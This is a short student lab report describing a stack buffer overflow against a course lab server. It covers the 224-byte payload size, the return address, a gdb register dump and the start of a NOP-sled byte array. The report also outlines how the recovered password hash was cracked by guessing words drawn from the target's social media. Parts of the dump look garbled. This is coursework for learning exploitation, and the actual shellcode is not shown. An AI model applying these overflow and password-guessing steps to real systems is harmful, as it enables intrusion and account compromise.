Lab 5 Documentation December 6, 2022 By Kevin Yu 20203451 And Raatik Sharma 20120770

Problem Statement

The purpose of this lab was to look at an exploit that deals with a buffer overflow. Code would be written to compromise the server and get all environment variables where one of them would be a password hash. With the password hash retrieved from the server, a match would be found through trial and error in the terminal by checking different combinations of a single word followed by a single number and seeing which one of those guesses would make the same hash to the hash received from the server. The words/numbers would be in some way related to the person in question via social media.

How the Attack Works

The attack works by overflowing the character buffer "compromise" and overwriting the return address to point the instruction pointer to the beginning of our malicious code to be executed. In the buffer, a sequence of hex numbers are stored which correspond to the malicious code. The return address was determined by calculating the difference between the stack pointer and the size of the buffer allowing the instruction pointer to start at the beginning of the malicious code. The length of the string used to compromise the server was 224 bytes long and the location of the return address on the stack was 0x7ffffffe168.

Location of the Return Address

```
#0 0x000055555555696a in ?? ()
(gdb) info registers
               0x7fffffffdfa0
rax
                                    140737488347040
rbx
               0x55555556bd0
                                    93824992242640
rcx
               0x0
                                    0
               0x7fffffffe06d
rdx
                                    140737488347245
rsi
               0x7ffffffffdf80
                                    140737488347008
rdi
               0x7ffffffffdfa0
                                    140737488347040
               0x5a595857504f4e4d 0x5a595857504f4e4d
rbp
               0x7ffffffffdf88
                                    0x7ffffffffdf88
rsp
               0xfefefefefefeff
                                    -72340172838076673
r8
r9
               0xfefeffe07777777
                                    -72339204449273993
               0x7fffff7fc2810
r10
                                    140737353885712
               0x7ffffffffdf81
r11
                                    140737488347009
               0x55555556460
r12
                                    93824992240736
               0x7fffffffe1a0
r13
                                    140737488347552
r14
               0x0
                                    0
--Type <RET> for more, q to quit, c to continue without pagi
```

Size of the buffer

```
// Variable to contain hex bytes of shell code

v char compromise[224] = {

// Init Size: 144, Req Size: 152, Padding: 8

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // noop padding (4)
```

Hex Calculator

Hexadecimal Calculation—Add, Subtract, Multiply, or Divide

NASM, Selfcomp.c and Client.c Source Code

Please refer to Lab 5 in GitLabs to see the source code.